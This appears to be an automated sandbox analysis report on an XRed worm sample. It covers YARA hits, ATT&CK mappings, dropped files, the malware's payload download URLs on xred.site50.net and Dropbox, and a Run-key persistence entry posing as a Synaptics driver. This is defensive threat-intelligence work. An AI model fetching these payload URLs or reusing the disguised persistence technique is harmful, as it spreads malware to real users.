2_2_00A298DB

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A5019C LookupAccountNameW,LookupAccountNameW,GetLastError,GetLastError,GetLastError,LookupAccountNameW,GetLastError,

2_2_00A5019C

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A58581 GetTimeZoneInformation,SystemTimeToTzSpecificLocalTime,

2_2_00A58581

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A21B46 _memset,_memset,CoInitializeEx,GetModuleHandleW,GetVersionExW,GetLastError,CoUninitialize,

2_2_00A21B46

Source: Amcache.hve.16.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.16.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.16.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.16.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.16.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: LisectAVT_2403002A_282.exe, type: SAMPLE
Source: Yara match	File source: 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_282.exe PID: 636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 6988, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXF23B.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: LisectAVT_2403002A_282.exe, type: SAMPLE
Source: Yara match	File source: 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_282.exe PID: 636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 6988, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXF23B.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	1 Replication Through Removable Media	2 Native API	41 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	12 System Time Discovery	Remote Services	Data from Local System	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Access Token Manipulation	2 Obfuscated Files or Information	LSASS Memory	1 Peripheral Device Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	1 Windows Service	1 Windows Service	1 DLL Side-Loading	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	12 Process Injection	11 Masquerading	NTDS	4 File and Directory Discovery	Distributed Component Object Model	Input Capture	24 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	11 Virtualization/Sandbox Evasion	LSA Secrets	24 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	1 Query Registry	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	31 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	11 Virtualization/Sandbox Evasion	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
LisectAVT_2403002A_282.exe	100%	Avira	WORM/Delphi.Gen
LisectAVT_2403002A_282.exe	100%	Avira	W2000M/Dldr.Agent.17651006
LisectAVT_2403002A_282.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Documents\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCXF23B.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCXF23B.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	WORM/Delphi.Gen
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\~$cache1	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXF23B.tmp	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://xred.site50.net/syn/SUpdate.ini	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/s(	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dl$	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rar	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	0%	Avira URL Cloud	safe
http://wixtoolset.org/schemas/thmutil/2010(	0%	Avira URL Cloud	safe
http://wixtoolset.org/schemas/thmutil/2010	0%	Avira URL Cloud	safe
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978hH4h	0%	Avira URL Cloud	safe
https://docs.google.com/uc?id=0;	0%	Avira URL Cloud	safe
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978X	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dll	100%	Avira URL Cloud	malware
http://xred.site50.net/syn/Synaptics.rarH	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/1(	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl8	0%	Avira URL Cloud	safe
https://docs.google.com/	0%	Avira URL Cloud	safe
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	true	unknown
docs.google.com	142.250.186.110	true	false	unknown
drive.usercontent.google.com	142.250.186.129	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
xred.mooo.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wixtoolset.org/schemas/thmutil/2010(	._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2726090653.0000000003530000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dl$	LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~DFE4A043EED617E93E.TMP.5.dr, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://wixtoolset.org/schemas/thmutil/2010	._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2725091207.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2726090653.0000000003530000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SUpdate.ini	LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/Synaptics.rar	LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/s(	Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978hH4h	Synaptics.exe, 00000004.00000002.2251508096.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wixtoolset.org/schemas/thmutil/2010Hd	._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2726090653.0000000003530000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://xred.site50.net/syn/Synaptics.rarH	LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000004.00000002.2318872806.0000000025F7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2270452188.000000000D73E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2280395281.000000001047E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2291676003.000000001837E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2287428289.00000000158FE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/1(	Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978X	LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dll	LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.00000000006FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2305103446.000000001CFBB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl8	LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
142.250.186.110	docs.google.com	United States	15169	GOOGLEUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482372
Start date and time:	2024-07-25 21:53:47 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LisectAVT_2403002A_282.exe
Detection:	MAL
Classification:	mal54.troj.expl.winEXE@10/104@13/4
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 78 Number of non-executed functions: 297
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.113.194.132, 20.189.173.17, 20.42.73.29
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, onedscolprdwus22.westus.cloudapp.azure.com, otelrules.afd.azureedge.net, ecs-office.s-0005.s-msedge.net, ocsp.digicert.com, login.live.com, onedsblobprdeus15.eastus.cloudapp.azure.com, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net
Execution Graph export aborted for target Synaptics.exe, PID 6988 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: LisectAVT_2403002A_282.exe

Simulations

Behavior and APIs

Time	Type	Description
15:54:56	API Interceptor	515x Sleep call for process: Synaptics.exe modified
15:56:06	API Interceptor	1x Sleep call for process: WerFault.exe modified
21:54:52	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.60	https://protect-us.mimecast.com/s/wFHoCqxrAnt7V914iZaD1v	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
13.107.246.60	http://wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5	Get hash	malicious	Unknown	Browse	wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5
69.42.215.252	LisectAVT_2403002A_440.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002B_129.exe	Get hash	malicious	PureLog Stealer, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002B_141.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002B_198.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002B_311.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002B_318.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002B_327.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002B_343.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0032.t-0009.t-msedge.net	LisectAVT_2403002A_440.exe	Get hash	malicious	XRed	Browse	13.107.246.60
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	13.107.246.60
	https://app.emaze.com/@ALILOQRCF/urban-equation-corporation	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://i2a.ampygman.com/kv1PX/#Dbharrison@burnsmcd.com	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://l.facebook.com/l.php?u=https%3A%2F%2Fnutramart.store%2F%3Flabel%3D5efe465a4dbe59fbb290a966697fc1cd%26utm_medium%3Dpaid%26utm_source%3Dfb%26utm_id%3D6599688580361%26utm_content%3D6599688599961%26utm_term%3D6599688590961%26utm_campaign%3D6599688580361%26fbclid%3DIwZXh0bgNhZW0BMAABHdzmJULh8TsQt3pW_qnmIXPFdqLqBaBKW5T-aZYxDkCqac1lwtitUH-fNw_aem_UoCoKjZX08yMSHQS1Rk-lA&h=AT2Rbdo290L85DwdtmvCHSaYZeZQw6zVRZwOCmLUor4sXK9slv2_8Xz3sNHtiR9yk_5i3WV0TyI-vvISy2qX4eX89xJtn5joKswTFrWNikf-8BbcY1c3OSbcsV7ioNYHeRE&__tn__=%2CmH-R&c%5B0%5D=AT1zpbOywPCbT61x3IUZxcKH5NMmiyOktbAovmzxAnO3GQxZoE9RLlfDBYeXTFE8UxKMEzW4i7Rw_yO3qxx7WfbLZEKXf2a_gqDGEIqK5xACO326D8DwbL9YKGpFirOaXzMC_oPb4wgEghT5w108ehD0lVOUa18OX2Yna4VvaAaIUpPjAkk9gOhJw0AtcNc8dmXxzoPXiUwIYEI1VCwKUmK1G_lmEdu24Iq9UJ_ic75uGIJuxQwEttfLYZ0HqkC3D8EpDSqIjHE7T12pe_syL5VjKXEGR6hZ3F-YEVJbiZGhU5diMWZAvsPL2bUpvSMNWrEu14yqnXQK7Z-1xnZRSbLWmzHp53sdCj21	Get hash	malicious	Unknown	Browse	13.107.246.60
	LisectAVT_2403002B_141.exe	Get hash	malicious	XRed	Browse	13.107.246.60
	https://maillafayette-my.sharepoint.com/:o:/g/personal/cconnell_themailgroup_com/EiPEfQb_CGBDlFd0abPX6YIB1n8KvJoQzv3I2xEqExsGKQ?e=6alXaG	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://forms.office.com/Pages/ResponsePage.aspx?id=2zW8lMsRrkyqi7IHHVNhLgILSZ8nyRhPs0os36GqVFNURElXNEQwRldKWjdYM0cwRERLSFFETE9ERy4u	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	LisectAVT_2403002B_318.exe	Get hash	malicious	XRed	Browse	13.107.246.60
	LisectAVT_2403002B_343.exe	Get hash	malicious	XRed	Browse	13.107.246.60
freedns.afraid.org	LisectAVT_2403002A_440.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_129.exe	Get hash	malicious	PureLog Stealer, XRed	Browse	69.42.215.252
	LisectAVT_2403002B_141.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_198.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_311.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_318.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_327.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_343.exe	Get hash	malicious	XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://forms.office.com/r/qq9c20HBqa	Get hash	malicious	Tycoon2FA	Browse	13.89.179.13
	EXTERNAL 9 Held.msg	Get hash	malicious	Unknown	Browse	104.47.73.28
	LisectAVT_2403002A_349.exe	Get hash	malicious	Unknown	Browse	13.107.246.42
	FW_ _EXTERNAL_ ocstock Shared Document-2.msg	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.47.73.156
	LisectAVT_2403002A_362.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://url.us.m.mimecastprotect.com/s/E8trC5yxE7iZK9MZ8-vl	Get hash	malicious	Unknown	Browse	20.81.101.200
	LisectAVT_2403002A_440.exe	Get hash	malicious	XRed	Browse	13.107.246.60
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	13.107.246.42
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	13.107.246.60
	https://app.emaze.com/@ALILOQRCF/urban-equation-corporation	Get hash	malicious	Unknown	Browse	13.107.246.60
AWKNET-LLCUS	LisectAVT_2403002A_440.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_129.exe	Get hash	malicious	PureLog Stealer, XRed	Browse	69.42.215.252
	LisectAVT_2403002B_141.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_198.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_311.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_318.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_327.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002B_343.exe	Get hash	malicious	XRed	Browse	69.42.215.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	LisectAVT_2403002A_328.exe	Get hash	malicious	Petite Virus	Browse	13.107.246.60
	LisectAVT_2403002A_328.exe	Get hash	malicious	Petite Virus	Browse	13.107.246.60
	LisectAVT_2403002A_420.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.246.60
	LisectAVT_2403002A_425.dll	Get hash	malicious	Unknown	Browse	13.107.246.60
	LisectAVT_2403002A_428.exe	Get hash	malicious	BlackMoon	Browse	13.107.246.60
	LisectAVT_2403002A_425.dll	Get hash	malicious	Unknown	Browse	13.107.246.60
	LisectAVT_2403002A_428.exe	Get hash	malicious	BlackMoon	Browse	13.107.246.60
	LisectAVT_2403002A_440.exe	Get hash	malicious	XRed	Browse	13.107.246.60
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	13.107.246.60
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	13.107.246.60
37f463bf4616ecd445d4a1937da06e19	LisectAVT_2403002A_360.exe	Get hash	malicious	Unknown	Browse	142.250.186.129 142.250.186.110
	LisectAVT_2403002A_42.exe	Get hash	malicious	GuLoader	Browse	142.250.186.129 142.250.186.110
	LisectAVT_2403002A_440.exe	Get hash	malicious	XRed	Browse	142.250.186.129 142.250.186.110
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	142.250.186.129 142.250.186.110
	LisectAVT_2403002A_445.exe	Get hash	malicious	XRed	Browse	142.250.186.129 142.250.186.110
	LisectAVT_2403002A_467.exe	Get hash	malicious	Unknown	Browse	142.250.186.129 142.250.186.110
	LisectAVT_2403002A_66.exe	Get hash	malicious	Troldesh / Shade	Browse	142.250.186.129 142.250.186.110
	LisectAVT_2403002A_66.exe	Get hash	malicious	Unknown	Browse	142.250.186.129 142.250.186.110
	LisectAVT_2403002A_7.exe	Get hash	malicious	Unknown	Browse	142.250.186.129 142.250.186.110
	down.exe	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	142.250.186.129 142.250.186.110

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\wixstdba.dll	https://portal.vector.com/shared/8aacc900-9a36-4b0e-a5a6-c8ad0daf4733	Get hash	malicious	Unknown	Browse
